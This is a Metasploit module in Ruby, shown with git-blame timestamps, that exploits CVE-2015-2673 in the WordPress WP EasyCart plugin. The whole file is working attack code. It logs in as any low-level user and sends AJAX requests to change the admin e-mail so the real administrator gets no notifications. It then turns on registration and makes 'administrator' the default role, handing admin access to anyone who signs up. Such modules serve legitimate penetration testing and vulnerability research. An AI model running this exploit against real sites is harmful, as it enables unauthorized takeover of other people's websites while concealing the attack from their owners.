2015-02-24 21:11:22 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-07 08:56:58 +00:00
|
|
|
class Metasploit < Msf::Auxiliary
|
2015-10-15 16:47:13 +00:00
|
|
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
2015-02-24 21:11:22 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(
|
|
|
|
info,
|
|
|
|
'Name' => 'WordPress WP EasyCart Plugin Privilege Escalation',
|
|
|
|
'Description' => %q{
|
2015-03-20 23:20:45 +00:00
|
|
|
The WordPress WP EasyCart plugin from version 1.1.30 to 3.0.20 allows authenticated
|
|
|
|
users of any user level to set any system option via a lack of validation in the
|
|
|
|
ec_ajax_update_option and ec_ajax_clear_all_taxrates functions located in
|
|
|
|
/inc/admin/admin_ajax_functions.php. The module first changes the admin e-mail address
|
|
|
|
to prevent any notifications being sent to the actual administrator during the attack,
|
|
|
|
re-enables user registration in case it has been disabled and sets the default role to
|
|
|
|
be administrator. This will allow for the user to create a new account with admin
|
|
|
|
privileges via the default registration page found at /wp-login.php?action=register.
|
2015-02-24 21:11:22 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Rob Carr <rob[at]rastating.com>' # Discovery and Metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2015-03-24 22:30:43 +00:00
|
|
|
['CVE', '2015-2673'],
|
2015-02-26 13:37:23 +00:00
|
|
|
['WPVDB', '7808'],
|
2015-02-24 21:11:22 +00:00
|
|
|
['URL', 'http://blog.rastating.com/wp-easycart-privilege-escalation-information-disclosure']
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Feb 25 2015'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
|
|
|
|
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
2015-02-25 19:11:15 +00:00
|
|
|
check_plugin_version_from_readme('wp-easycart', '3.0.21', '1.1.30')
|
2015-02-24 21:11:22 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def username
|
|
|
|
datastore['USERNAME']
|
|
|
|
end
|
|
|
|
|
|
|
|
def password
|
|
|
|
datastore['PASSWORD']
|
|
|
|
end
|
|
|
|
|
|
|
|
def set_wp_option(name, value, cookie)
|
|
|
|
res = send_request_cgi(
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => wordpress_url_admin_ajax,
|
|
|
|
'vars_get' => { 'action' => 'ec_ajax_update_option' },
|
|
|
|
'vars_post' => { 'option_name' => name, 'option_value' => value },
|
|
|
|
'cookie' => cookie
|
|
|
|
)
|
|
|
|
|
|
|
|
if res.nil?
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_error("No response from the target.")
|
2015-03-20 23:20:45 +00:00
|
|
|
elsif res.code != 200
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_warning("Server responded with status code #{res.code}")
|
2015-02-24 21:11:22 +00:00
|
|
|
end
|
|
|
|
|
2015-03-20 23:20:45 +00:00
|
|
|
res
|
2015-02-24 21:11:22 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Authenticating with WordPress using #{username}:#{password}...")
|
2015-02-24 21:11:22 +00:00
|
|
|
cookie = wordpress_login(username, password)
|
2015-03-20 23:20:45 +00:00
|
|
|
if cookie.nil?
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Failed to authenticate with WordPress")
|
2015-03-20 23:20:45 +00:00
|
|
|
return
|
|
|
|
end
|
2016-02-01 22:06:34 +00:00
|
|
|
print_good("Authenticated with WordPress")
|
2015-02-24 21:11:22 +00:00
|
|
|
|
|
|
|
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Changing admin e-mail address to #{new_email}...")
|
2015-02-24 21:11:22 +00:00
|
|
|
if set_wp_option('admin_email', new_email, cookie).nil?
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Failed to change the admin e-mail address")
|
2015-03-20 23:20:45 +00:00
|
|
|
return
|
2015-02-24 21:11:22 +00:00
|
|
|
end
|
|
|
|
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Enabling user registrations...")
|
2015-02-24 21:11:22 +00:00
|
|
|
if set_wp_option('users_can_register', 1, cookie).nil?
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Failed to enable user registrations")
|
2015-03-20 23:20:45 +00:00
|
|
|
return
|
2015-02-24 21:11:22 +00:00
|
|
|
end
|
|
|
|
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Setting the default user role...")
|
2015-02-24 21:11:22 +00:00
|
|
|
if set_wp_option('default_role', 'administrator', cookie).nil?
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Failed to set the default user role")
|
2015-03-20 23:20:45 +00:00
|
|
|
return
|
2015-02-24 21:11:22 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
|
2016-02-01 22:06:34 +00:00
|
|
|
print_good("Privilege escalation complete")
|
|
|
|
print_good("Create a new account at #{register_url} to gain admin access.")
|
2015-02-24 21:11:22 +00:00
|
|
|
end
|
|
|
|
end
|